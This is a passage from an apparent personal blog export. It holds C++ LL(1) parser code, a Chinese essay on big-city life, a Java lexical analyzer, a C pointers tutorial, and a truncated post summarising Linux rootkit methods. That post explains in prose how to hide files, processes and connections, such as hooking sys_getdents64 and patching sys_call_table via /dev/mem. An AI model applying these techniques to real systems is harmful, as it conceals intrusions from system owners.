set<char>& dic = follow[text]; set<char>::iterator it = dic.begin(); for ( ; it != dic.end() ; it++ ) if ( *it == ch ) return true; return false;}void make_table (){ map<char,string> temp; vector<char> letter; bool vis[500]; memset ( vis , 0 , sizeof ( vis ) ); for ( int i = 0 ; i < VN_set.size() ; i++ ) { set<string>& right = VN_set[i].right; set<string>::iterator it = right.begin(); for ( ; it != right.end() ; it++ ) for ( int j = 0 ; j < it->length() ; j++ ) if ( !isupper(it->at(j)) && it->at(j) != '\\'' ) { if ( vis[it->at(j)] ) continue; vis[it->at(j)] = true; letter.push_back ( it->at(j) ); } } for ( int i = 0 ; i < VN_set.size() ; i++ ) { temp.clear(); string& left = VN_set[i].left; set<string>& right = VN_set[i].right; set<string>::iterator it = right.begin(); for ( ; it != right.end() ; it++ ) for ( int j = 0 ; j < letter.size() ; j++ ) { //cout << *it << \" \" << letter[j] << endl; if ( check_first ( *it , letter[j] ) ) { //cout << \"YES\" << endl; temp[letter[j]] = *it; } if ( it->at(0) == '~' && check_follow ( left, letter[j] )) temp[letter[j]] = *it; } predict_table.push_back ( temp ); }#define DEBUG#ifdef DEBUG for ( int i = 0 ; i <= (letter.size()+1)*10 ; i++ ) printf ( \"-\" ); puts (\"\"); printf ( \"|%9s\" , \"|\" ); for ( int i = 0 ; i < letter.size() ; i++ ) printf ( \"%5c%5s\" , letter[i] , \"|\" ); puts(\"\"); for ( int i = 0 ; i <= (letter.size()+1)*10 ; i++ ) printf ( \"-\" ); puts(\"\"); for ( int i = 0 ; i < VN_set.size() ; i++ ) { printf ( \"|%5s%4s\" , VN_set[i].left.c_str() , \"|\" ); for ( int j = 0 ; j < letter.size() ; j ++ ) if ( predict_table[i].count(letter[j] ) ) printf ( \"%7s%3s\" , predict_table[i][letter[j]].c_str() , \"|\" ); else printf ( \"%10s\" , \"|\" ); puts(\"\"); for ( int i = 0 ; i <= (letter.size()+1)*10 ; i++ ) printf ( \"-\" ); puts (\"\"); }#endif}void print ( int steps , stack<string> stk , string src , string wf , int x ){ printf ( \"%-10d\" , steps ); string out = \"\"; while ( !stk.empty() ) { out = stk.top()+out; stk.pop(); } printf ( \"#%-9s\" , out.c_str() ); out =\"\"; for ( int i = x ; i < src.length() ; i++ ) out += src[i]; printf ( \"%-10s\" , (out+\"#\").c_str() ); printf ( \"%-10s\\n\" , wf.c_str() );}void analyse ( const string& src ){ stack<string> stk; stk.push ( \"E\" ); int steps = 0; int idx = 0; printf ( \"%-10s%-10s%-10s%-10s\\n\" , \"步骤\",\"符号栈\",\"输入串\",\"所用产生式\" ); while ( !stk.empty() ) { string u = stk.top(); string tmp=\"\"; stk.pop(); if ( !isupper(u[0]) ) { if ( idx == src.length() && u[0] == '~' ); else if ( src[idx] == u[0] ) idx++; } else { int x = VN_dic[u]-1; tmp = predict_table[x][src[idx]]; for ( int i = tmp.length()-1 ; i >= 0 ; i-- ) { if ( tmp[i] == '\\'' ) { string v = tmp.substr(i-1,2); stk.push ( v ); i--; } else { string v = tmp.substr(i,1); stk.push( v ); } } tmp = u+\"->\"+tmp; } print ( steps++ , stk , src , tmp , idx ); }}int main ( ){ int n; char s[MAX]; while ( ~scanf ( \"%d\" , &n ) ) { for ( int i = 0 ; i < n ; i++ ) { scanf ( \"%s\" , s ); int len = strlen ( s ),j; for ( j = 0 ; j < len ; j++ ) if ( s[j] == '-' ) break; s[j] = 0; if ( !VN_dic[s] ) { VN_set.push_back ( s ); VN_dic[s] = VN_set.size(); } int x = VN_dic[s]-1; VN_set[x].insert ( s+j+2 ); } make_first(); make_follow(); make_table(); string in = \"i*i+i\"; analyse( in ); }}","tags":[]},{"title":"You sympathize with the peopole who work at BeiJing、ShangHai、GuangZhou, because you do not understand their happiness!","date":"2017-10-14T11:50:41.164Z","path":"2017/10/14/new 14/","text":"十年过去,北上广被贴上“高压”“拥挤”“快节奏”等标签,在人们心中成为“辛苦”的代名词。尽管如此,作者却说“我在这里很幸福”。在他看来,每座城都有自己的辛苦,关键是哪座城市能赋予你跳脱的力量和下一站自由的幸福。拥堵的交通、每天超过1小时的通勤时间、匆忙的一日三餐、高压的工作,以及快节奏的生活……2017年,整10年过去。北上广的形象终于在所有人的心中拼凑完整,盖戳通过。 北上广的早晨 北上广的工作 北上广的下班 北上广的晚安 “这就是北上广?”“是。” “要不选择离开吧?”“不。” “为什么?”“因为我在这里很幸福。” 这里人更多“人多也是好事吗?”“是好事。” 我的想法不是很多,也就是想去各行各业都看看,从金融到互联网,从500强跨国企业到5人创业公司,从职场精英到政府官员…… 在这里,每个领域都可以找到至少10位朋友聊聊故事,感受更完整的世界,重新调整自己的步伐,很幸福。 我的奇葩不算很多,也就是没事追求点天马行空,自由自在。 我的迷茫不是很多,也就是从工作、生活、到成长、爱情。从20岁到30岁到还未发生的40岁、50岁…… 每个年纪下的不同迷茫,至少有10位朋友,愿意分享他们各自的经历给你听,从不同角度帮你解惑,很幸福。 你同情的是我被拥挤在北上广的人山人海中;你不懂的是我在这里遇见了很多有趣的灵魂。 更密集的资源“你在哪座城市?”“北京。” 这样的回答就意味着我们之间有更多连接的机会。 如果你做企业,你会发现资本和合作机会在中国的地图上汇拢几处,北上广被它们堆积的金光闪闪。 如果你过生活,你会发现所有的演唱会、见面会、分享会、球赛……也会优先惠及北上广的上空,伸手就能抓到门票。 几年后的某个午后,我买了杯咖啡在溜达回公司的路上。收到一条朋友的讯息:潘石屹、雷军和冯仑下午在你们公司边上的SOHO有一场分享会,你感兴趣可以去听听。 我端着温热的咖啡,按照朋友给的地址溜达过去,扫码入场,隔着人山人海,你接收到了台上人的讯息,更感受到了周围人的心跳。 走在北京的路上,无论是国贸、中关村、还是望京、西二旗,你不知道你经过的哪座楼里面正在讨论着怎样的机密,关于市场与经济的发展,关于人类未来要如何面对AI,关于4.0还是5.0时代下的秘密。 不管你是否参与其中,每天走过这样的楼宇之间,你会感知,这就是你生存的空间。 更好的成长土壤人与人最大的公平在于:每个人这辈子都会遇到很多很多的麻烦和困难。 人与人最大的不公平在于:每个人解决麻烦和困难的能力不同。 情绪的宣泄与行动之间的比例如何把控,接下来如何尽快找到合适医院复查,身边有什么医疗方面的资源可以开始去联系以及要怎么联系,治疗的费用要多少,接下来要如何平衡工作和照顾家人….. 在棘手的问题面前,在不可逃开的情绪包裹之下,我们的身体会浮现出一种本能的解决问题的能力,这股力量来自长期积累下的处事习惯。 你会发现,也许它们正是你在所谓的“残酷”的工作中练就的东西。 每年过年回家都会和家中的朋友们聚会聊天,总结聊天的内容,你会发现所有的迷茫和思考几乎公平对待每个人:关于看不全的外面的世界、关于无聊的学习与理想间的关系、关于年龄,爱情和婚姻三者间纠缠不清的关系、关于与父母的相处、关于下一代的教育、关于失恋、关于成长、关于老去……原来有那么多的课题,所有人都逃不开,不管你你出身几何,又身处何处。 这时候,你重新思考所谓的“残酷”工作中练就的东西,关于问题解决、逻辑思考、时间管理、市场研究、前景预测、多方利益体间的协调、沟通表达…… 我们奋斗的真正意义,并不是为了在北上广买多大的房子,而是为了更好的去做人生的课题。 你同情的是我工作与生活的不易;你不懂的是我正用这些不易,去换得更大的幸福。 信仰的边界更大信仰在空中飘扬。 百万年薪,是很多小城市人眼中的天价,而在北上广,它是一个上班族可以追求的合理数字。 北上广有很多跨国企业,他们核算全球各个办公室的成本,他们有权力决定保留哪个办公室和关闭哪个办公室,投入产出比是他们手中的标尺。 你拿到的薪水与当地的房价有关,但是更大的决定因素是你贡献的价值。 在北上广,你的价值有机会站在宇宙中心被衡量和比较,头顶上是一片更大的天空。 下一次的自由人生的选择不止一次,下一次,会更自由吗? 逃离北上广,何其容易。我们还需要时间来回答这些问题。这些问题的背后是我们对何为幸福的思考,以及我们对自己的自由生存能力的考量。 在北上广,从某一刻起,你发现你拥有了更流通的价值。世界在脚下是越来越小的一块土地,不断升级的飞机和列车速度,是助你个人飞翔的翅膀。在北上广,你的价值有机会站在宇宙中心被衡量和比较,头顶上是一片更大的天空。我们总用家乡和北上广做无尽的比较,而北上广不是终点,只是一块试飞训练场,我们在这里认真思考自己想要的幸福,看见自己心中的地图,练习自由飞翔的能力。每座城都有自己的辛苦,关键是哪座城市能赋予你跳脱的力量和下一站自由的幸福。我在北上广,过的挺好的。你同情北上广的辛苦,因为你不懂北上广的幸福。","tags":[]},{"title":"Realize lexical analyzer with java!","date":"2017-10-13T09:39:16.429Z","path":"2017/10/13/new 11/","text":"definition:Lexical analyzer function input source program, in accordance with the rules of word decomposition into a series of word symbols. A word is the smallest unit of independence in the language, including keywords, identifiers, operators, delimiters, and constants.(1) The keyword is a fixed identifier defined by the program language. For example, the begin, end, if, while of Pascal are reserved words. These words are usually not used as general identifiers.(2) Identifiers are used to represent various names, such as variable names, array names, process names, and so on.(3) constant constant types are generally integer, real type, Boolean, text and so on.(4) Operators such as +, -, *, / and so on.(5) delimiters such as commas, semicolons, brackets, and so on.Output:Lexical analyzer output word symbols are often expressed as the following binary: (Word type, attribute value of word symbol)The word genre is usually encoded in integers. Identifiers are generally classified as one. Constants should be sorted by type (whole, real, boolean, etc.). Keywords can be treated as a whole. Operators can use a method of one character. The boundary character is generally used as a method. For each word symbol, in addition to giving the category code, the attribute information about the word symbol should also be given. The attribute of a word symbol refers to the characteristic or characteristic of a word symbol The specific implementation detailsThis is my first use Java to do a big profram,I will insisted to write codes about Java!123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172package com.sun.net.ssl.internal.ssl;import java.io.BufferedReader; import java.io.FileNotFoundException; import java.io.FileReader; import java.io.IOException; public class shiyan1 {public int zifu; //扫描字符public int zhuangtai;//保留字状态码 public String [] name=new String[]{\"关键字\",\"标识符\",\"常数\",\"关系运算符\",\"运算符\",\"分界符\",\"error\"}; public StringBuffer strToken = new StringBuffer();//存放构成单词符号的字符串 public String [] retainWord = new String[]{\"int\",\"if\",\"else\",\"return\",\"main\",\"void\",\"while\",\"break\"};//保留字 //判断是否是字母 public boolean IsLetter(){ if((zifu>=65 && zifu <= 90) || (zifu >= 97 && zifu <=122)){ return true; } return false; } //判断是否是数字 public boolean IsDigit(){ if(zifu>=48 && zifu <= 57){ return true; } return false; } //判断是否是空格 public boolean IsBC(int ch){ if(ch == 32){ return true; } return false; } //连接字符 public void Concat(char ch){ strToken.append(ch); } //判断是否是保留字 public int Reserve(){ for(int i = 0;i < retainWord.length;i++){ if(strToken.toString().equals(retainWord[i])){ return 1; } } if(strToken.length() != 0){ //String strTaken; for(int m=0;m<strToken.length();m++) { for(int j=1;j<m;j++){ if(strToken.charAt(j)!='0' || strToken.charAt(j)!='1' || strToken.charAt(j)!='2' ||strToken.charAt(j)!='3' || strToken.charAt(j)!='4' || strToken.charAt(j)!='5' || strToken.charAt(j)!='6' || strToken.charAt(j)!='7' || strToken.charAt(j)!='8' || strToken.charAt(j)!='9' ) {return 5; } } if(strToken.charAt(m)>='0' && strToken.charAt(m)<='9'){ return 3; } } //if(strToken.charAt(0)!=IsLetter()) } //if() return 2; } // public void Retract(){ zhuangtai = Reserve(); if(zhuangtai == 1){ System.out.println(\"('\"+1+\"','\"+strToken+\"','\"+name[0]+\"')\"); }else if(zhuangtai == 2){ System.out.println(\"('\"+2+\"','\"+strToken+\"','\"+name[1]+\"')\"); } else if(zhuangtai == 3){ System.out.println(\"('\"+3+\"','\"+strToken+\"','\"+name[2]+\"')\"); } else if(zhuangtai == 5){ System.out.println(\"('\"+6+\"','\"+strToken+\"','\"+name[6]+\"')\"); } strToken.delete(0, strToken.length()); } /** * 读取文件 */ public void scanner(){ BufferedReader br; try { br = new BufferedReader(new FileReader(\"C:/Users/Administrator/Desktop/rootkid/xx.txt\")); while((zifu = br.read()) != -1){ if(IsBC(zifu) == false){ if(IsLetter()){ if(IsLetter() == true || IsDigit() == true){ Concat((char)zifu); } }else if(IsDigit() == true){ Concat((char)zifu); }else if(IsDigit()){ Concat( (char)zifu); }else if(zifu == 61){ if((strToken.length() != 0 )&& (strToken.charAt(0) == '=')){ strToken.append((char)zifu); System.out.println(\"('\"+4+\"','\"+strToken+\"','\"+name[3]+\"')\"); strToken.delete(0, strToken.length()); }else{ strToken.append((char)zifu); } }else if(zifu == 43){ Retract(); System.out.println(\"('\"+4+\"','\"+ (char)zifu+\"','\"+name[4]+\"')\"); }else if(zifu == 45){ Retract(); System.out.println(\"('\"+4+\"','\"+ (char)zifu+\"','\"+name[4]+\"')\"); }else if(zifu == 42){ Retract(); System.out.println(\"('\"+4+\"','\"+ (char)zifu+\"','\"+name[4]+\"')\"); }else if(zifu == 47){ Retract(); System.out.println(\"('\"+4+\"','\"+ (char)zifu+\"','\"+name[4]+\"')\"); }else if((char) zifu == ';'){ Retract(); System.out.println(\"('\"+5+\"','\"+ (char)zifu+\"','\"+name[5]+\"')\"); }else if((char) zifu == '('){ Retract(); System.out.println(\"('\"+5+\"','\"+ (char)zifu+\"','\"+name[5]+\"')\"); }else if((char) zifu == ')'){ Retract(); System.out.println(\"('\"+5+\"','\"+ (char)zifu+\"','\"+name[5]+\"')\"); }else if((char) zifu == '{'){ Retract(); System.out.println(\"('\"+5+\"','\"+ (char)zifu+\"','\"+name[5]+\"')\"); }else if((char) zifu == '}'){ Retract(); System.out.println(\"('\"+5+\"','\"+ (char)zifu+\"','\"+name[5]+\"')\"); }else if((char) zifu == ','){ Retract(); System.out.println(\"('\"+5+\"','\"+ (char)zifu+\"','\"+name[5]+\"')\"); } //else if(zifu){} }else{ Retract(); } } } catch (FileNotFoundException e1) { // TODO Auto-generated scatch block e1.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } public static void main(String[] args) { shiyan1 compile2 = new shiyan1(); compile2.scanner(); } }","tags":[]},{"title":"Something you don't know about C !","date":"2017-10-09T16:27:53.094Z","path":"2017/10/10/new 10/","text":"为了六级,以前写的内容坚持用英语写,不懂得就google翻译帮助>_<,但是这次如果使用英语的话以后看起来应该会很难受所以就用中文写了!C语言的细节肯定不会只有这么多,但是这几个出现的比较频繁,而且在C语言中也是很重要的几个语言特征。如果把这几个细节彻底弄清楚了,C语言本身的神秘就不会太多了。C 语言本身就像一把异常锋利的剪刀,你可以用它做出非常精致优雅的艺术品,也可以剪出一些乱七八糟的废纸片。能够将一件武器用到出神入化那是需要时间的,需要多长时间?不多,请你拿出一万个小时来,英国Exter大学心理学教授麦克.侯威专门研究神童和天才,他的结论很有意思:“一般人以为天才是自然而生、流畅而不受阻的闪亮才华,其实,天才也必须耗费至少十年光阴来学习他们的特殊技能,绝无例外。要成为专家,需要拥有顽固的个性和坚持的能力……每一行的专业人士,都投注大量心血,培养自己的专业才能。”注:台湾女作家、电视节目主持人吴淡如《拿出一万个小时来》。《读者》2003.1期。“不用太努力,只要持续下去。想拥有一辈子的专长或兴趣,就像一个人跑马拉松赛一样,最重要的是跑完,而不是前头跑得有多快。” 准备好了吗?我们开始吧>_<类型的识别。12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970int fun(char,double)函数定义如下:int(*pf)(char,double)pf=&funC语言的简写:pf=funpf(a,8.9)函数调用时的实际操作int a[6]数组的定义如下:int (*pf)[6]pf=&aint i=(*pf)[2]//将a[2]的值赋给i有了上面的基础我们可以解释下面的定义int* (*a[5])(int, char*); //#1 void (*b[10]) (void (*)()); //#2 doube(*)() (*pa)[9]; //#3 首先是#1:*a[5]是一个五个元素的指针,指针指向函数(int,char*)而这个函数的返回值类型是int型的再次就是#2:*b[10]是一个元素个数为10的数组,每个元素都是一个指针该指针指向一个函数,类型为(void(*)())【注1】返回值是void型的注1;这个参数有事一个指针,指向一个函数,函数参数为空,返回值void型的最后是#3:pa是一个指针,指针指向一个数组,这个数组有9个元素每个元素都是double(*)()【注2】型的注2:也即是一个指针,指向一个函数函数参数为空,返回值是double现在是不是觉得要认识它们是易如反掌,工欲善其事,必先利其器!我们对这种表达方式熟悉之后,就可以用“typedef”来简化这种类型声明。 #1:int* (*a[5])(int, char*); typedef int* (*PF)(int, char*);//PF是一个类型别名【注3】。 PF a[5];//跟int* (*a[5])(int, char*);的效果一样! 注 3:很多初学者只知道typedef char* pchar;但是对于typedef的其它用法不太了解。Stephen Blaha对typedef用法做过一个总结:“建立一个类型别名的方法很简单,在传统的变量声明表达式里用类型名替代变量名,然后把关键字 typedef加在该语句的开头”。 #2:void (*b[10]) (void (*)()); typedef void (*pfv)(); typedef void (*pf_taking_pfv)(pfv); pf_taking_pfv b[10]; //跟void (*b[10]) (void (*)());的效果一样! #3. doube(*)() (*pa)[9]; typedef double(*PF)(); typedef PF (*PA)[9]; PA pa; //跟doube(*)() (*pa)[9];的效果一样! 3.const和volatile在类型声明中的位置 在这里我只说const,volatile是一样的【注4】! 注4:顾名思义,volatile修饰的量就是很容易变化,不稳定的量'它可能被其它线程,操作系统,硬件等等在未知的时间改变,所以它被存储在内存中,每次取用它的时候都只能在内存中去读取,它不能被编译器优化放在内部寄存器中。 类型声明中const用来修饰一个常量,我们一般这样使用:const在前面 const int;//int是const const char*;//char是const char* const;//*(指针)是const const char* const;//char和*都是const 对初学者,const char*;和 char* const;是容易混淆的。这需要时间的历练让你习惯它。 上面的声明有一个对等的写法:const在后面 int const;//int是const char const*;//char是const char* const;//*(指针)是const char const* const;//char和*都是const 第一次你可能不会习惯,但新事物如果是好的,我们为什么要拒绝它呢?:)const在后面有两个好处: A. const所修饰的类型是正好在它前面的那一个。如果这个好处还不能让你动心的话,那请看下一个! B.我们很多时候会用到typedef的类型别名定义。比如typedef char* pchar,如果用const来修饰的话,当const在前面的时候,就是const pchar,你会以为它就是const char* ,但是你错了,它的真实含义是char* const。是不是让你大吃一惊!但如果你采用const在后面的写法,意义就怎么也不会变,不信你试试! 不过,在真实项目中的命名一致性更重要。你应该在两种情况下都能适应,并能自如的转换,公司习惯,商业利润不论在什么时候都应该优先考虑!不过在开始一个新项目的时候,你可以考虑优先使用const在后面的习惯用法。 指针12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091它的本质是地址的类型。在许多语言中根本就没有这个概念。但是它却正是C灵活,高效,在面向过程的时代所向披靡的原因所在。因为C的内存模型基本上对应了现在von Neumann(冯·诺伊曼)计算机的机器模型,很好的达到了对机器的映射。不过有些人似乎永远也不能理解指针【注5】。 注5:Joel Spolsky就是这样认为的,他认为对指针的理解是一种aptitude,不是通过训练就可以达到的 指针可以指向值、数组、函数,当然它也可以作为值使用。 看下面的几个例子: int* p;//p是一个指针,指向一个整数 int** p;//p是一个指针,它指向第二个指针,然后指向一个整数 int (*pa)[3];//pa是一个指针,指向一个拥有3个整数的数组 int (*pf)();//pf是一个指向函数的指针,这个函数返回一个整数 后面第四节我会详细讲解标识符(identifier)类型的识别。 1.指针本身的类型是什么? 先看下面的例子:int a;//a的类型是什么? 对,把a去掉就可以了。因此上面的4个声明语句中的指针本身的类型为: int* int** int (*)[3] int (*)() 它们都是复合类型,也就是类型与类型结合而成的类型。意义分别如下: point to int(指向一个整数的指针) pointer to pointer to int(指向一个指向整数的指针的指针) pointer to array of 3 ints(指向一个拥有三个整数的数组的指针) pointer to function of parameter is void and return value is int (指向一个函数的指针,这个函数参数为空,返回值为整数) 2.指针所指物的类型是什么? 很简单,指针本身的类型去掉 “*”号就可以了,分别如下: int int* int ()[3] int ()() 3和4有点怪,不是吗?请擦亮你的眼睛,在那个用来把“*”号包住的“()”是多余的,所以: int ()[3]就是int [3](一个拥有三个整数的数组) int ()()就是int ()(一个函数,参数为空,返回值为整数)【注6】 注6:一个小小的提醒,第二个“()”是一个运算符,名字叫函数调用运算符(function call operator)。 3.指针的算术运算。 请再次记住:指针不是一个简单的类型,它是一个和指针所指物的类型复合的类型。因此,它的算术运算与之(指针所指物的类型)密切相关。 int a[8]; int* p = a; int* q = p + 3; p++; 指针的加减并不是指针本身的表示加减,要记住,指针是一个元素的地址,它每加一次,就指向下一个元素。所以: int* q = p + 3;//q指向从p开始的第三个整数。 p++;//p指向下一个整数。 double* pd; ……//某些计算之后 double* pother = pd – 2;//pother指向从pd倒数第二个double数。 4.指针本身的大小。 在一个现代典型的32位机器上【注7】,机器的内存模型大概是这样的,想象一下,内存空间就像一个连续的房间群。每一个房间的大小是一个字节(一般是黑客动画吧8位)。有些东西大小是一个字节(比如char),一个房间就把它给安置了;但有些东西大小是几个字节(比如double就是8个字节,int就是4 个字节,我说的是典型的32位),所以它就需要几个房间才能安置。 注7:什么叫32位?就是机器CPU一次处理的数据宽度是32位,机器的寄存器容量是32位,机器的数据,内存地址总线是32位。当然还有一些细节,但大致就是这样。16位,64位,128位可以以此类推。 这些房间都应该有编号(也就是地址),32位的机器内存地址空间当然也是32位,所以房间的每一个编号都用32位的数来编码【注8】。请记住指针也可以作为值使用,作为值的时候,它也必须被安置在房间中(存储在内存中),那么指向一个值的指针需要一个地址大小来存储,即32位,4个字节,4个房间来存储。 注8:在我们平常用到的32位机器上,绝少有将32位真实内存地址空间全用完的(232 = 4G),即使是服务器也不例外。现代的操作系统一般会实现32位的虚拟地址空间,这样可以方便运用程序的编制。关于虚拟地址(线性地址)和真实地址的区别以及实现,可以参考《Linux源代码情景分析》的第二章存储管理,在互联网上关于这个主题的文章汗牛充栋,,指向对象成员的指针的大小没有定值,但都是4的倍数。不同的编译器还有不同的值。对于一般的普通类(class),指向对象成员的指针大小一般为4,但在引入多重虚拟继承以及虚拟函数的时候,指向对象成员的指针会增大,不论是指向成员数据,还是成员函数。【注9】。 注9:在Andrei Alexandrescu的《Modern C++ Design》的5.13节Page124中提到,成员函数指针实际上是带标记的(tagged)unions,它们可以对付多重虚拟继承以及虚拟函数,书上说成员函数指针大小是16,但我的实践告诉我这个结果不对,而且具体编译器实现也不同。一直很想看看GCC的源代码,但由于旁骛太多,而且心不静,本身难度也比较高(这个倒是不害怕^_^),只有留待以后了。 还有一点,对一个类的static member来说,指向它的指针只是普通的函数指针,不是pointer to class member,所以它的大小是4。 5.指针运算符&和* 它们是一对相反的操作,&取得一个东西的地址(也就是指针),*得到一个地址里放的东西。这个东西可以是值(对象)、函数、数组、类成员(class member)。 其实很简单,房间里面居住着一个人,&操作只能针对人,取得房间号码; *操作只能针对房间,取得房间里的人。 参照指针本身的类型以及指针所指物的类型很好理解。 小结:其实你只要真正理解了1,2,就相当于掌握了指针的牛鼻子。后面的就不难了,指针的各种变化和C语言中其它普通类型的变化都差不多(比如各种转型)。 参数可变的函数123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115C语言中有一种很奇怪的参数“…”,它主要用在引数(argument)个数不定的函数中,最常见的就是printf函数。 printf(“Enjoy yourself everyday!\\n”); printf(“The value is %d!\\n”, value); …… 你想过它是怎么实现的吗? 1. printf为什么叫printf? 不管是看什么,我总是一个喜欢刨根问底的人,对事物的源有一种特殊的癖好,一段典故,一个成语,一句行话,我最喜欢的就是找到它的来历,和当时的意境,一个外文翻译过来的术语,最低要求我会尽力去找到它原本的外文术语。特别是一个字的命名来历,我一向是非常在意的,中国有句古话:“名不正,则言不顺。 ”printf中的f就是format的意思,即按格式打印【注10】。 注10:其实还有很多函数,很多变量,很多命名在各种语言中都是非常讲究的,你如果细心观察追溯,一定有很多乐趣和满足,比如哈希表为什么叫hashtable而不叫hashlist?在C++的SGI STL实现中有一个专门用于递增的函数iota(不是itoa),为什么叫这个奇怪的名字,你想过吗? 看文章我不喜欢意犹未尽,己所不欲,勿施于人,所以我把这两个答案告诉你: (1)table与list做为表讲的区别: table: -------|--------------------|------- item1 | kadkglasgaldfgl | jkdsfh -------|--------------------|------- item2 | kjdszhahlka | xcvz -------|--------------------|------- list: **** *** ******* ***** That's the difference! 如果你还是不明白,可以去看一下hash是如何实现的! (2)The name iota is taken from the programming language APL. 而APL语言主要是做数学计算的,在数学中有很多公式会借用希腊字母, 希腊字母表中有这样一个字母,大写为Ι,小写为ι, 它的英文拼写正好是iota,这个字母在θ(theta)和κ(kappa)之间! 下面有一段是这样的: APL is renowned for using a set of non-ASCII symbols that are an extension of traditional arithmetic and algebraic notation. These cryptic symbols, some have joked, make it possible to construct an entire air traffic control system in two lines of code. Because of its condensed nature and non-standard characters, APL has sometimes been termed a \"write-only language\", and reading an APL program can feel like decoding an alien tongue. Because of the unusual character-set, many programmers used special APL keyboards in the production of APL code. Nowadays there are various ways to write APL code using only ASCII characters. 在C++中有函数重载(overload)可以用来区别不同函数参数的调用,但它还是不能表示任意数量的函数参数。 在标准C语言中定义了一个头文件专门用来对付可变参数列表,它包含了一组宏,和一个va_list的typedef声明。一个典型实现如下【注11】: typedef char* va_list; #define va_start(list) list = (char*)&va_alist #define va_end(list) #define va_arg(list, mode) ((mode*) (list += sizeof(mode)))[-1] 注11:你可以查看C99标准7.15节获得详细而权威的说明。也可以参考《C陷阱与缺陷》的附录A。 ANSI C还提供了vprintf函数,它和对应的printf函数行为方式上完全相同,只不过用va_list替换了格式字符串后的参数序列。至于它是如何实现的,你在认真读完《The C Programming Language》后,我相信你一定可以do it yourself! 使用这些工具,我们就可以实现自己的可变参数函数,比如实现一个系统化的错误处理函数error。它和printf函数的使用差不多。只不过将stream重新定向到stderr。在这里我借鉴了《C陷阱与缺陷》的附录A的例子。 实现如下: #include #include void error(char* format, …) { va_list ap; va_start(ap, format); fprintf(stderr, “error: “); vfprintf(stderr, format, ap); va_end(ap); fprintf(stderr, “\\n”); exit(1); } 你还可以自己实现printf: #include int printf(char* format, …) { va_list ap; va_start(ap, format); int n = vprintf(format, ap); va_end(ap); return n; } 我还专门找到了VC7.1的头文件看了一下,发现各个宏的具体实现还是有区别的,跟很多预处理(preprocessor)相关。其中va_list就不一定是char*的别名。 typedef struct { char *a0; /* pointer to first homed integer argument */ int offset; /* byte offset of next parameter */ } va_list; 其它的定义类似。 经常在Windows进行系统编程的人一定知道函数调用有好几种不同的形式,比如__stdcall,__pascal,__cdecl。在Windows下_stdcall,__pascal是一样的,所以我只说一下__stdcall和__cdecl的区别。 (1)__stdcall表示被调用端自身负责函数引数的压栈和出栈。函数参数个数一定的函数都是这种调用形式。 例如:int fun(char c, double d),我们在main函数中使用它,这个函数就只管本身函数体的运行,参数怎么来的,怎么去的,它一概不管。自然有main负责。不过,不同的编译器的实现可能将参数从右向左压栈,也可能从左向右压栈,这个顺序我们是不能加于利用的【注12】。 注12:你可以在Herb Sutter的《More Exceptional C++》中的条款20:An Unmanaged Pointer Problem, Part 1:Parameter Evaluation找到相关的细节论述。 (2)__cdecl表示调用端负责被调用端引数的压栈和出栈。参数可变的函数采用的是这种调用形式。 为什么这种函数要采用不同于前面的调用形式呢?那是因为__stdcall调用形式对它没有作用,被调用端根本就无法知道调用端的引数个数,它怎么可能正确工作?所以这种调用方式是必须的,不过由于参数参数可变的函数本身不多,所以用的地方比较少。 对于这两种方式,你可以编制一些简单的程序,然后反汇编,在汇编代码下面你就可以看到实际的区别,很好理解的! 重载函数有很多匹配(match)规则调用。参数为“…”的函数是匹配最低的,这一点在Andrei Alexandrescu的惊才绝艳之作《Modern C++ Design》中就有用到,参看编译期间侦测可转换性和继承性”。 参考自: click here","tags":[]},{"title":"Rootkid Summary","date":"2017-10-06T15:15:11.335Z","path":"2017/10/06/new 9/","text":"Intermittent learning process do not understand slowly learn a lot, although for Rootkid it is only worth mentioning the fur content but for me still do not know progress, after all, many things can not be achieved overnight, Only after stepping on a variety of pit you will slowly comprehend some things, and later summed up some truth (only for me), learning is a gradual process, can not be the slightest irritability, if you are anxious, then You have lost from the beginning, you just started learning the process, will certainly run into a wall, which is beyond doubt, and you need to do is ask more experienced seniors or teachers, which will make you less Take a lot of detours! For exampleRootkit’s main categories:1234Application level -> Kernel level -> Hardware levelEarly rootkit mainly for the application-level rootkit, application-level rootkit mainly by replacing the login, ps, ls, netstat and other system tools, or modify. Rhosts and other system configuration files to achieve hidden and backdoor; hardware rootkit mainly refers to bios rootkit, Before the system gets control, by writing to the disk file, and then by the bootloader to load the file to regain control, you can also use the virtual machine technology, so that the entire operating system running in the rootkit grasp; the most common rootkit Is kernel-level rootkit.Kernel-level rootkit can be divided into lkm rootkit, non-lkm rootkit. lkm rootkit is based on lkm technology, through the interface provided by the system to load into the kernel space, as part of the kernel, and then through the hook system calls and other technologies to achieve hidden, backdoor function. Non-lkm rootkit mainly refers to the system does not support the lkm mechanism to modify the kernel of a method, mainly through / dev / mem, / dev / kmem equipment directly to the memory, so that the kernel to modify.Non-lkm rootkit To achieve the kernel changes, the first need to get kernel space memory, it is necessary to call kmalloc allocation of memory, and kmalloc is the kernel space call, can not directly call the user space in the function, so think of the call through int 0x80 Function of the method. First select an unusual system call number, find the item in sys_call_table, by writing / dev / mem directly modify it to kmalloc function address, so that when we call the user space in the user space, you can int 0x80 Into the kernel space, the implementation of kmalloc function to allocate memory, and the allocation of the memory address from the eax register to return, so we get a kernel address space memory, and then the function will be written to the memory hack, and again modify the system call table , You can achieve hook function call function Common features of rootkit:123456789101112131415Hidden files: through strace ls can be found ls command is through sys_getdents64 get the file directory, so you can modify the sys_getdents64 system call or the bottom of the readdir to achieve hidden files and directories, as well as ext2 file system directly to modify the method, but It is not easy to implement, there are some specific restrictions.Hidden process: hidden process and hidden files similar to the ps command is to read / proc file system under the process directory to obtain process information, as long as you can hide the / proc file system under the process directory can achieve the effect of hidden process, Ie hook sys_getdents64 and readdir.Hide the connection: netstat command is by reading / proc file system under the net / tcp and net / udp file to obtain the current connection information, so you can hook sys_read call to achieve a hidden connection, you can modify tcp4_seq_show 